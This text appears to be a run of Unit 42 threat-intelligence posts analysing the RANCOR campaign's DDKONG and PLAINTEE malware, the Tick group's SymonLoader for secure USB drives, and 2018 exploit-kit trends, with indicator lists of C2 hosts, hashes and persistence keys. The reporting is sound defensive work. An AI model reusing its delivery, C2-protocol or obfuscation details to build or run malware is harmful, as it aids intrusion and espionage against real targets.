 In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware. Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document.
By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content.
RANCOR_2

Figure 2 – The entire contents of the macro

The 'Company' field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware:

Cluster B
Case 2: Delivery via HTA Loader - 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458
 In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment. When opened and then executed, the key components of the HTA file downloads and executes further malware from a remote URLand loads a decoy image hosted externally (Figure 3).

RANCOR_3

Figure 3 – The decoy image loaded when the .HTA file is executed.

The decoy in Figure 3 strongly suggests the attackers were conducting an attack against a political entity in Cambodia. The Cambodia National Rescue Party is a politically motivated opposition movement.

Case 3: Delivery via DLL Loader -
0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855
 We identified three unique DLL loaders during this analysis. The loaders are extremely simple with a single exported function and are responsible for executing a single command. An exemplar command is given below:

In the above command, the malware is downloading and executing a payload and configuring it for persistent execution. In two of the three examples, the malware also downloads and opens a decoy PDF document hosted on a legitimate but compromised website. The decoy documents seen in these cases were related to Cambodian news articles, an example is shown in Figure 4 below.

RANCOR_4

Figure 4 - 1.pdf decoy delivered by downloader

The decoy above discusses a recent event that took place against political party supporters in Cambodia, a similar theme to the decoy document observed in Figure 3.
It is worth noting that the third DLL mentioned attempts to download the decoy document from a government website. This same website was used previously in a KHRat campaign targeting Cambodian citizens.
Additionally, two of the three DLL loaders were found to be hosted on this same compromised website, implying that it was likely compromised again in early 2018. The filenames for these two DLL loaders are as follows:

  • Activity Schedule.pdf
  • អ្នកនយោបាយក្បត់លើក្បត (Translated from Khmer: Politicians betrayed on the betrayal)

Malware Overview
In all cases where we were able to identify the final payloads used, the DDKONG  or PLAINTEE malware families were used. We observed DDKONG in use between February 2017 and the present, while PLAINTEE is a newer addition with the earliest known sample being observed in October 2017. It’s unclear if DDKONG is only used by one threat actor or more than one based on the data available.
In this section we’ll go over the capabilities and operation of these malware families.

DDKONG
For the analysis below, we used the following file:

SHA256 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0
SHA1 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a
MD5 6fa5bcedaf124cdaccfa5548eed7f4b0
Compile Time 2018-03-14 07:20:11 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

 

Table 1 – DDKONG sample analyzed in full.

The malware in question is configured with the following three exported functions:

  • ServiceMain
  • Rundll32Call
  • DllEntryPoint

The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe.
The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time.
DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. Once decoded, the configuration contains the data shown in Figure 5 below.
RANCOR_5

Figure 5 - Decoded configuration with fields highlighted

After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero.
RANCOR_6

Figure 6 – DDKONG beacon to remote C2

After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. An example of this buffer at runtime is below:

00000000: 43 3A 5C 55 73 65 72 73  5C 4D 53 5C 44 65 73 6B  C:\Users\MS\Desk
00000010: 74 6F 70 5C 52 53 2D 41  54 54 20 56 33 5C 50 6C  top\RS-ATT V3\Pl
00000020: 75 67 69 6E 42 69 6E 00  00 00 00 00 00 00 00 00  uginBin.........uginBin.........
[TRUNCATED]
00000100: 00 00 00 00 43 3A 5C 55  73 65 72 73 5C 4D 53 5C  ....C:\Users\MS\
00000110: 44 65 73 6B 74 6F 70 5C  52 53 2D 41 54 54 20 56  Desktop\RS-ATT V
00000120: 33 5C 5A 43 6F 6E 66 69  67 00 00 00 00 00 00 00  3\ZConfig.......ZConfig.......
[TRUNCATED]
00000200: 00 00 00 00 00 00 00 00  00 40 00 00 F0 97 B5 01  .........@......

As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. During runtime, the following plugin was identified:

SHA256 0517b62233c9574cb24b78fb533f6e92d35bc6451770f9f6001487ff9c154ad7
SHA1 03defdda9397e7536cf39951246483a0339ccd35
MD5 a5164c686c405734b7362bc6b02488cb
Compile Time 2018-03-28 01:54:40 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 2 – Plugin downloaded during runtime for DDKong sample.

This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

PLAINTEE
In total we have been able to find six samples of PLAINTEE, which, based on our analysis, seems to be exclusively used by the RANCOR attackers. PLAINTEE is unusual in that it uses a custom UDP protocol for its network communications. For this walk through, we use the following sample:

SHA256 c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d
SHA1 0bdb44255e9472d80ee0197d0bfad7d8eb4a18e9
MD5 d5679158937ce288837efe62bc1d9693
Compile Time 2018-04-02 07:57:38 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 3 – PLAINTEE sample analyzed in full.

This sample is configured with three exported functions:

  • Add
  • Sub
  • DllEntryPoint

The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes the following command in a new process to add persistence:

Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server.
The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data.

Decoding this blob yields the following information, also found within the original binary:

Offset Description
0x4 C2 port (0x1f99 – 8089)
0x8 C2 host (45.76.176[.]236)
0x10C Flag used to identify the malware in network communications. (default flag:4/2/2018 1:01:33 AM)

Table 4 – Configuration stored in the malware.

The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR.  An example of the decoded beacon is show in Figure 7.
RANCOR_7

Figure 7 PLAINTEE example beacon

The structure for this beacon is given in Table 5.

Offset Description
0x0 Victim GUID (8C8CEED9-4326-448B-919E-249EEC0238A3)
0x25 Victim IP Address (192.168.180.154)
0x45 Command (0x66660001)
0x49 Length of payload (0x2f – 47)
0x4d Field 1 - Windows major version (0x6 – Windows Vista+)
0x51 Field 2 - Windows minor version (0x1 – Windows 7)
0x55 Field 3 - Unknown (0x20)
0x59 Payload (default flag:4/2/2018 1:01:33 AM)

Table 5 – Beacon structure for PLAINTEE.

This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server.

During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. The retrieved plugin was as follows:

SHA256 b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78
SHA1 ac3f20ddc2567af0b050c672ecd59dddab1fe55e
MD5 7c65565dcf5b40bd8358472d032bc8fb
Compile Time 2017-09-25 00:54:18 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 6 – PLAINTEE plugin observed in Wildfire

PLAINTEE expects the downloaded plugin to be a DLL with an export function of either 'shell' or 'file'. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:

  • tasklist
  • ipconfig /all

The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

Conclusions
The RANCOR campaign represents a continued trend of targeted attacks against entities within the South East Asia region. In a number of instances, politically motivated lures were used to entice victims into opening and subsequently loading previously undocumented malware families. These families made use of custom network communication to load and execute various plugins hosted by the attackers. Notably the PLAINTEE malwares’ use of a custom UDP protocol is rare and worth considering when building heuristics detections for unknown malware. Palo Alto Networks will continue to monitor these actors, their malware, and their infrastructure going forward.
Palo Alto Networks customers are protected against the threats discussed in this blog in the following ways:

  • Wildfire correctly identifies all samples discussed as malicious.
  • Traps appropriately blocks the malware from executing.
  • AutoFocus customers may track this threat via the KHRAT, DDKONG, PLAINTEE, and RANCOR tags.

Additional mitigations that could help to prevent attacks like these from succeeding in your environment include:

  • Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed.

Appendix A – PLAINTEE older variant
Older variants of PLAINTEE can be identified via the unique mutex created during runtime. At least three variants of PLAINTEE have been identified to date, however, the following two samples have additional unique differences:

Hash Functions Mutex
bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e helloworld
helloworld1,helloworld2,sqmAddTostream,DllEntryPoint
microsoftfuckedup
6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31

The following actions are performed with the additional functions:

  • helloworld - performs actions identical to the newer sample’s ‘Sub’ function
  • helloworld1 – accepts command-line arguments, performs a UAC bypass
  • helloworld2 – drops and compiles a mof filemof file
  • sqmAddTostream – expected to run initially by the malware, checks OS version and loads the malware with helloworld2

 

Appendix B

Type Value Cluster
Loaders
Hash 0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855 B
Hash 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458 B
Domain www.facebook-apps.com B
Domain dlj40s.jdanief.xyz B
IP 89.46.222.97 B
Hash a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483 A
PLAINTEE
Hash 863a9199decf36895d5d7d148ce9fd622e825f393d7ebe7591b4d37ef3f5f677 A
Hash 22a5bd54f15f33f4218454e53679d7cfae32c03ddb6ec186fb5e6f8b7f7c098b A
Hash c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d B
IP 199.247.6.253 A
IP 45.76.176.236 A
Mutex microsoftfuckedupb A
Hash 9f779d920443d50ef48d4abfa40b43f5cb2c4eb769205b973b115e04f3b978f5 A
Hash bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e A
Hash 6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31 A
Hash b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78 A
Domain goole.authorizeddns.us A
Mutex Microsoftfuckedup A
IP 103.75.189.74 A
IP 131.153.48.146 A
DDKONG
Hash 15f4c0a589dff62200fd7c885f1e7aa8863b8efa91e23c020de271061f4918eb A
Domain microsoft.authorizeddns.us A
IP 103.75.191.177 A
Hash 0f102e66bc2df4d14dc493ba8b93a88f6b622c168e0c2b63d0ceb7589910999d A
Hash 84607a2abfd64d61299b0313337e85dd371642e9654b12288c8a1fc7c8c1cf0a A
Hash a725abb8fe76939f0e0532978eacd7d4afb4459bb6797ec32a7a9f670778bd7e A
Hash 82e1e296403be99129aced295e1c12fbb23f871c6fa2acafab9e08d9a728cb96 A
Hash 9996e108ade2ef3911d5d38e9f3c1deb0300aa0a82d33e36d376c6927e3ee5af A
Domain www.google_ssl.onmypc.org A
Hash 18e102201409237547ab2754daa212cc1454f32c993b6e10a0297b0e6a980823 A
IP 103.75.191.75 A
Hash c78fef9ef931ffc559ea416d45dc6f43574f524ba073713fddb79e4f8ec1a319 A
Hash 01315e211bac543195f2c703033ba31b229001f844854b147c4b2a0973a7d17b A
Hash b8528c8e325db76b139d46e9f29835382a1b48d8941c47060076f367539c2559 A
Hash df14de6b43f902ac8c35ecf0582ddb33e12e682700eb55dc4706b73f5aed40f6 A
Hash 177906cb9170adc26082e44d9ad1b3fbdcba7c0b57e28b614c1b66cc4a99f906 A
Hash 113ae6f4d6a2963d5c9a7f42f782b176da096d17296f5a546433f7f27f260895 A
Domain ftp.chinhphu.ddns.ms A
Hash 128adaba3e6251d1af305a85ebfaafb2a8028eed3b9b031c54176ca7cef539d2 A
Domain www.microsoft.https443.org A
IP 45.121.146.26 A
Hash 5afbee76af2a09c173cf782fd5e51b5076b87f19b709577ddae1c8e5455fc642 A
Domain msdns.otzo.com A
Hash 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0 A
Domain goole.authorizeddns.us A
IP 103.75.189.74 A

Tick Group Weaponized Secure USB Drives to Target Air-Gapped Critical Systems

Summary

Tick is a cyberespionage group primarily targeting organizations in Japan and the Republic of Korea. The group is known to conduct attack campaigns with various custom malware such as Minzen, Datper, Nioupale (aka Daserf), and HomamDownloader. Unit 42 last wrote about the Tick group in July 2017.

Recently, Palo Alto Networks Unit 42 discovered the Tick group targeted a specific type of secure USB drive created by a South Korean defense company. The USB drive and its management system have various features to follow security guidelines in South Korea.

The weaponization of a secure USB drive is an uncommon attack technique and likely done in an effort to spread to air-gapped systems, which are systems that do not connect to the public internet. In addition, our research shows that the malware used in these attacks will only try to infect systems running Microsoft Windows XP or Windows Server 2003. This is despite the fact that the malware appears to have been created when newer versions of Windows software were available. This would seem to indicate an intentional targeting of older, out-of-support versions of Microsoft Windows installed on systems with no internet connectivity. Air-gapped systems are common practice in many countries for government, military, and defense contractors, as well as other industry verticals.

We have not identified any public reporting on this attack, and we suspect the Tick group used the malware described in this report in attacks multiple years ago. Based on the data collected, we do not believe this malware is part of any active threat campaign.

Our picture of this past attack is incomplete at this time. Based on our research thus far, we are able to sketch out the following hypothesized attack scenario:

  1. The Tick Group somehow compromised a secure type of USB drive and loaded a malicious file onto an unknown number of them. These USB drives are supposed to be certified as secure by the South Korean ITSCC (English).
  2. The Tick Group created a specific malware we are calling SymonLoader that somehow gets on older Windows systems and continuously looks for these specific USB drives.
  3. SymonLoader specifically targets Windows XP and Windows Server 2003 systems ONLY.
  4. If SymonLoader detects the presence of a specific type of secure USB drive, it will attempt to load the unknown malicious file using APIs that directly access the file system.

In the research below, we outline our findings around SymonLoader. We do not currently have either a compromised USB drive nor the unknown malicious file we believe is implanted on these devices. Because of this we are unable to describe the full attack sequence.

Because we do not have either a compromised USB drive or the unknown malicious file, we are also unable to determine how these USB drives have been compromised. Specifically, we do not know if there has been a successful compromise in the supply-chain making these devices, or if these have been compromised post-manufacturing and distributed using other means such as social engineering.

 

Tick and Trojanized Legitimate Software

Unit 42 hasn’t identified the initial delivery method; the overview of the infection process is shown below in Figure 1.

tick_1

Figure 1 Infection process

First, the attacker tricks users with a Trojanized version of legitimate software to install the loader program, which is a new tool to Tick we’ve named “SymonLoader”.

When executed, the loader starts monitoring storage device changes on a compromised machine. If SymonLoader detects the targeted type of secure USB drive, it attempts to access the storage through the device driver corresponding to the secure USB and checks for strings specific to one type of secure USB in the drive information fields. Then, it accesses a predefined location of the storage on the USB and extracts an unknown PE file.

As we described in a previous blog last July, the Tick group Trojanized a legitimate program and embedded malware called HomamDownloader. The attackers then sent the Trojanized legitimate applications as attachments to spear phishing email targets. When executed, the Trojanized legitimate application drops HomamDownloader and installs the legitimate program. Recipients may not be aware of the malware as the legitimate application works as expected.

In our research into these latest attacks, we found additional legitimate Trojanized Korean language software since publishing out blog last year (Table 1). Similar to the previous samples we examined in July 2017, these newly Trojanized legitimate programs also drop HomamDownloader. Also like we saw in our July 2017 research, HomamDownloader can install other malicious files from the remote C2 server; in this case, pre.englandprevail[.]com.

 

Trojanized Legitimate Software SHA256
Movie Player installer b1bb1d5f178b064eb1d7c9cc7cadcf8b3959a940c14cee457ce3aba5795660aa
Industrial battery monitoring software 3227d1e39fc3bc842245ccdb16eeaadad3bcd298e811573b2e68ef2a7077f6f6
Storage encryption software 92e0d0346774127024c672cc7239dd269824a79e85b84c532128fd9663a0ce78
File encryption software 33665d93ab2a0262551c61ec9a3adca2c2b8dfea34e6f3f723274d88890f6ceb

Table 1 Trojanized Korean programs

During our investigation, we found an interesting sample on January 21, 2018 (Table 2). Similar to the samples listed above, this sample is a Trojanized version of a legitimate program and drops malware. In this case, the Trojanized application is a Japanese language GO game. Instead of installing HomamDownloader like we observed in July 2017, this Trojanized program installs a new loader we’ve named SymonLoader.

SymonLoader extracts a hidden executable file from a specific type of secure USB drive and executes it on the compromised system. Unfortunately, we do not have a copy of this file.

Trojanized Legitimate Software SHA256
GO Game 8549dcbdfc6885e0e7a1521da61352ef4f084d969dd30719166b47fdb204828a

Table 2 Trojanized Japanese language program

Despite the differences from previous samples, we believe this sample is related to the Tick group because the shellcode in the Trojanized Japanese game is exactly the same as that found in the Trojanized Korean programs described earlier. Also, SymonLoader shares code with HomamDownloader (Figure 2). The Tick group is known to develop and consistently update custom tools. As such, code reuse like this is consistent with their development practices.

 

tick_2

Figure 2 Sharing code between SymonLoader and HomamDownloader

Secure USB

SymonLoader first checks the operating system version of the target host and if it is newer than Windows XP or Windows Server 2003, it stops working. According to the timedate stamp in the PE header, the malware was created on 26 September 2012. Both Windows 7 and Windows Server 2008 were already released by then if the timedate value is not modified.

After checking the OS version, SymonLoader creates a hidden window named “device monitor” that starts monitoring storage device changes on the compromised system. When a removable drive is connected the malware checks the drive letter and drive type. If the drive letter is not A or B, and the drive type is not a CDROM the malware calls CreateFile API and gets a handle to the storage device.  By excluding drives A and B (typically used for floppy drives) and CDROM drive types, it appears likely that the malware is targeting removable USB drives.

Next, the malware calls the DeviceIoControl() function with an undocumented custom control code, 0xE2000010 (Figure 3). The control code consists of four different types of values; DeviceType, Function, Access, and Method. In this case, the DeviceType value is 0xE200 computed as: (0x0E2000010 & 0xffff0000)>>0x10.   According to Microsoft, this specific DeviceType value should be in the range for third-party vendors. To function properly, the third-party driver needs to be present on the compromised system before the malware calls DeviceIoControl() with the custom control code 0xE2000010. But which third-party driver? There is a clue in the next function.

tick_3

Figure 3 DeviceIoControl with custom IoControlCode

SymonLoader gets device information by SCSI INQUIRY command using the IOCTL_SCSI_PASS_THROUGH parameter and determines if it is the targeted drive by searching for a specific string in the Vendor or Product identification on INQUIRY data. Our research into the string used in these searches showed a company in the South Korea Defense Industry whose name matched the string. This company develops information and communication security equipment used by military, police, government agencies and public institutions. In a press, this company announced that they make secure USB storage devices that are certified to meet security requirements set out by South Korea’s IT Security Certification Center (ITSCC (English)). In South Korea, certain organizations are required to follow the “USB storage medium guideline" and using only the devices passed the audit by the government agency. For example, the guideline of the Ministry of Unification of South Korea defines the USB memory and management system introduction procedure at section 4, item 1 (Figure 4).

 

tick_4

Figure 4 USB memory introduction procedure

Google translation from Korean to English follows.

“According to ‘Guidelines for Security Management of Auxiliary Storage Media such as USB Memory’, the headquarters security officer shall request the National Intelligence Service to verify the security compliance to introduce USB memory.”

We found the third-party device driver in question in the installer of the secure USB drive in a public sample repository, and confirmed it supports the custom control code, 0xE2000010. The driver provides some functions to applications, including access to the corresponding secure USB volumes. We feel this evidence shows that the malware attempts to work only on the secure USB product made by this particular company.

 

Loading Hidden Module

If SymonLoader finds it is on a Windows XP or Windows Server 2003 system and finds that a newly attached device is a USB drive made by this particular company, then it will extract an unknown executable file from the USB. While we do not have this file, we can glean information about it by analyzing SymonLoader and the third-party driver. The attacker encrypted the unknown executable file and concealed it at the ending part of the secure USB storage in advance. The hidden data is not accessible through logical file operation APIs, such as ReadFile(). Instead, SymonLoader uses Logical Block Addressing(LBA) and SCSI commands to read the data physically from the particular expected location on the removable drive.

LBA is a simple linear addressing scheme. Storage is divided into blocks by fixed size, and each block has a number starting from zero to N-1, depends on the volume size. Applications can specify the block number and access the data by SCSI commands.

Finally, SymonLoader saves the extracted file in the temporary directory on the local disk and executes it. The procedure is as follows:

  1. Obtains final Logical Block Address(LBA) of the storage “N-1” by using the READ CAPACITY (10) command.
  2. Read the third last block “N-3” by READ (10) command and decrypts it.
  3. From the decrypted data, gets the LBA “X” where the main module locates.
  4. Loads data from LBA “X” to “N-4” by READ (10) command and decrypts it.
  5. Saves the decrypted file as %Temp%\[random characters].tmp and execute it.
  6. Writes hostname and local time of the compromised system at LBA “N-2” by SAVE (10) command.

Figure 5 shows the data layout of the malicious storage from the perspective of Logical Block Addressing.

tick_5

Figure 5 Data layout on the malicious storage

Conclusion

The Tick group uses Trojanized legitimate applications to trick victims into installing first stage malware, mostly HomamDownloader. In this research, we identified a previously unknown loader malware being dropped instead of HomamDownloader, which was most likely used in attacks multiple years ago. In contrast to HomamLoader, which requires an Internet connection to reach its C2 server to download additional payloads, SymonLoader attempts to extract and install an unknown hidden payload from a specific type of secure USB drive when it’s plugged into a compromised system. This technique is uncommon and hardly reported among other attacks in the wild.

While we do not have a copy of the file hidden on the secure USB, we have more than enough information to determine it is more than likely malicious. Weaponizing a secure USB drive is an uncommon technique and likely done in an effort to compromise air-gapped systems, which are systems that do not connect to the public internet. Some industries or organizations are known for introducing air gapping for security reasons. In addition, outdated versions Operating Systems are often used in those environments because of no easy-update solutions without internet connectivity. When users are not able to connect to external servers, they tend to rely on physical storage devices, particularly USB drives, for data exchange. The SymonLoader and secure USB drive discussed in this blog may fit for this circumstance.

Palo Alto Networks customers are protected from these threats in the following ways:

  1. All samples discussed are classified as malicious by the WildFire sandbox platform.
  2. All identified domains have been classified as malicious.
  3. AutoFocus users can track the malware described in this report using Tick campaign tag, SymonLoader and HomamDownloader malware tags.
  4. Customers running Traps are protected from the discussed threats.

 

IoCs

SymonLoader

Malformed Legitimate software SHA256
8549dcbdfc6885e0e7a1521da61352ef4f084d969dd30719166b47fdb204828a

SysmonLoader SHA256
31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8

Mutex
SysMonitor_3A2DCB47

File Path
%ProgramFiles%\Windows NT\Accessories\Microsoft\msxml.exe
%UserProfile%\Applications\Microsoft\msxml.exe

Registry Entry
HKLM\Software\Microsof\Windows\CurrentVersion\run\”xml” = %ProgramFiles%\Windows NT\Accessories\Microsoft\msxml.exe

HKCU\Software\Microsof\Windows\CurrentVersion\run\”xml” = %UserProfile%\Applications\Microsoft\msxml.exe

 

HomamDownloader

Trojanized Legitimate Software SHA256
b1bb1d5f178b064eb1d7c9cc7cadcf8b3959a940c14cee457ce3aba5795660aa

3227d1e39fc3bc842245ccdb16eeaadad3bcd298e811573b2e68ef2a7077f6f6

92e0d0346774127024c672cc7239dd269824a79e85b84c532128fd9663a0ce78

33665d93ab2a0262551c61ec9a3adca2c2b8dfea34e6f3f723274d88890f6ceb

HomamDownloader SHA256
019874898284935719dc74a6699fb822e20cdb8e3a96a7dc8ec4f625e3f1116e

ee8d025c6fea5d9177e161dbcedb98e871baceae33b7a4a12e9f73ab62bb0e38

f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec

C2 of HomamDownloader
pre.englandprevail[.]com

Don’t Panic About Software Supply Chain Attacks

The latest episode of the Don’t Panic cybersecurity podcast is now live.

In this latest episode, Ryan goes back to the topic he talked about in his 2018 predictions piece “The Era of Software Supply-Chain Attacks Has Begun”: Software Supply Chain attacks.

As a reminder, “Don’t Panic,” is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson.

You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.

The Old and New: Current Trends in Web-based Threats

Summary

In this blog, Unit 42 is sharing analysis and statistics from our Email Link Analysis (ELINK) from the first quarter of 2018 and highlighting interesting findings of current web threats. We will first describe statistical information about CVEs, malicious URLs and Exploit Kits (EKs), then discuss the current life cycle of these web-based threats, and wrap up with two case studies about evolving EKs and a cryptocurrency miner.

 

Statistics analysis

CVEs

In the first quarter of 2018, we found 1583 malicious URLs across 496 different domains. Attackers used at least 8 old and public vulnerabilities as shown in Figure 1. The Top 3 CVEs used are

  1. CVE-2014-6332: exploited by 774 malicious URLs
  2. CVE-2016-0189: exploited by 219 malicious URLs
  3. CVE-2015-5122: exploited by 85 malicious URLs.

The first two are vulnerabilities with Microsoft Internet Explorer’s VBScript, and the last one is an Adobe Flash Player vulnerability discovered by the Hacking Team and part of the July 2015 data leak. The exploit source code of these top 3 can easily be found on the internet.

elink_1

Figure 1. CVE statistics

In addition to these top three some additional notable findings in our CVE statistics. We found attackers targeting very old vulnerabilities in Microsoft Internet Explorer, such as CVE-2008-4844 and CVE-2009-0075. According to statistics from netmarketshare[.]com, there are still 6.55% of users using Windows XP and 3.17% using old versions of Internet Explorer (IE6, IE7, IE8, IE9, IE10) as shown in Figure 2 and Figure 3.

 

elink_2

Figure 2. Operating System share by version on March 2018

elink_3

Figure 3. Browser share by version on Mar 2018

 

Users still using old versions of web browsers, flash players, or unpatched operating systems are very vulnerable to these attacks, particulary because they are unprotected against both old and new vulnerabilities.

 

URL statistics

We found 496 malicious domains serving these exploits hosted across 27 different countries/regions. The Top 4 are:

  1. United States: 257 domains
  2. China : 106 domains
  3. Hong Kong: 41 domains
  4. Russia: 20 domains

We created a heat map for all the malicious domains as shown in Figure 4 and the exact number of malicious domains for each country are in Table 1.

elink_4

Figure 4. Malicious domain heat map

 

Countries/Regions Number of malicious domains
Turkey  2
Italy 3
Panama 1
France 8
Georgia 2
Argentina 1
 Israel 1
Australia 1
Singapore 1
Slovenia 1
China 106
Thailand 2
Germany 12
Hong Kong 41
Spain 1
Ukraine 1
Netherlands 13
United States 257
Japan 3
Switzerland 1
Russia 20
Romania 1
India 2
United Kingdom 3
Korea 9
Hungary 1
Taiwan 2

 

Table 1. Malicious domain countries and numbers

Exploit Kit Statistics

Of the 1583 URLs malicious URLs, 1284 malicious URLs are EK-related. We found Sundown and Rig EKs are slowing down not only in the number of vulnerabilities used but also in how often they are upgraded. However, KaiXin EK is still evolving. As we can see in Figure 5, below, KaiXin takes the lead when compared with Sundown and Rig. KaiXin was discovered in 2012 and became more and more active according our observations. The most exploited vulnerabilities in KaiXin are CVE-2016-0189 and CVE-2014-6322. We saw the very old EK Sinowal was also active with one malicious URL.

 

elink_6

Figure 5. Exploit Kit statistics

 

Life Cycle of Web Threats

All of the malicious URLs were tagged as malicious when we first detected them. On April 11, 2018, we reviewed all 1583 malicious URLs from the first quarter of 2018 and found 54 domains which didn’t bind to a valid IP address which are in Figure 6, below. Among the 496 domains, by April only 145 domains were still alive, and of the 1583 malicious URLs only 375 were still alive.

It means at least 10% (54 out of 496) domains are registered by attackers to be used to serve exploits specially, among the remaining 442 domains approximately 66% (297 out of 442) domains did not serve exploits. The 54 malicious domains are shown in Figure 6 below.

 

elink_7

Figure 6. Invalid domains

 

It also shows the life cycle of around 23% (375 out of 1583) of malicious URLs are live for over 2 months. We also drew a new malicious domain heat map for these 375 domains, shown in Figure 7, with China and U.S. having the highest numbers. The exact numbers are shown in Table 2.

 

elink_8

Figure 7. Live malicious domain heat map

 

Countries/Regions Number of malicious domains
France 4
Hungary 1
China 37
Hong Kong 3
Italy 3
Spain 1
Taiwan 1
United States 68
Argentina 1
Germany 5
Russia 4
Romania 1
Korea 3
Singapore 1
Thailand 1
Turkey 1
Netherlands 5
Japan 3
United Kingdom 2


Table 2. Live malicious domain countries/regions and numbers

Case studies

EK evolving

Although EKs are not as active as previously, we are still seeing EKs evolving. KaiXin EK used the original exploit code of CVE-2016-0189 without any obfuscation when we first detected it in 2016 as showed in Figure 8.

elink_10

Figure 8. First version of CVE-2016-0189 used in KaiXin EK

 

Several months later, the author(s) of KaiXin EK added 2 layers of obfuscation for CVE-2016-0189. The first layer’s obfuscation is unescape and document.write as showed in Figure 9.

elink_11

 

Figure 9. First layer obfuscation of CVE-2016-0189 used in KaiXin EK

 

In the second layer obfuscation, we can see they used a VB array to store the encoded real triggerBug function and payload in Figure 10. Everytime they only needed to change the offset (here is 599), then the VB array is different, which is used to evade content-based detections like IDS/IPS.

elink_12

Figure 10. Second layer of obfuscation for CVE-2016-0189 used in KaiXin EK

 

After the de-obfuscation, we can see the real payload and source exploit code in Figure 11.

elink_13

Figure 11. De-obfuscation of CVE-2016-0189 used in KaiXin EK

 

Later, KaiXin EK also embedded a Flash vulnerability (CVE-2015-5122) as shown in Figure 12, and used UTF-16 encoding to evade detection as showed in Figure 13.

elink_14

 

Figure 12. Combination of CVE-2015-5122 and CVE-2016-0189 in KaiXin EK

 

elink_15

Figure 13. UTF-16 encoding of CVE-2016-0189 in KaiXin EK

Cryptocurrency Miner

Usually web-based threats are spread via malicious domains, however we found a malicious link (hxxp://210.21.11[.]205/HDCRMWEBSERVICE/bin/aspshell[.]html) hosting malicious content on the IP address instead of using a domain in the malicious link. The content of this malicious page is quite straight forward as showed in Figure 14.

 

elink_16

Figure 14. Malicious content shows use of CVE-2014-6332

 

There are 2 parts in this malicious page. They used document.write to obfuscate the real exploit code in the first part. We can get the plain exploit code through simple de-obfuscation as shown in Figure 15.

 

elink_17

Figure 15. de-obfuscation of CVE-2014-6332

 

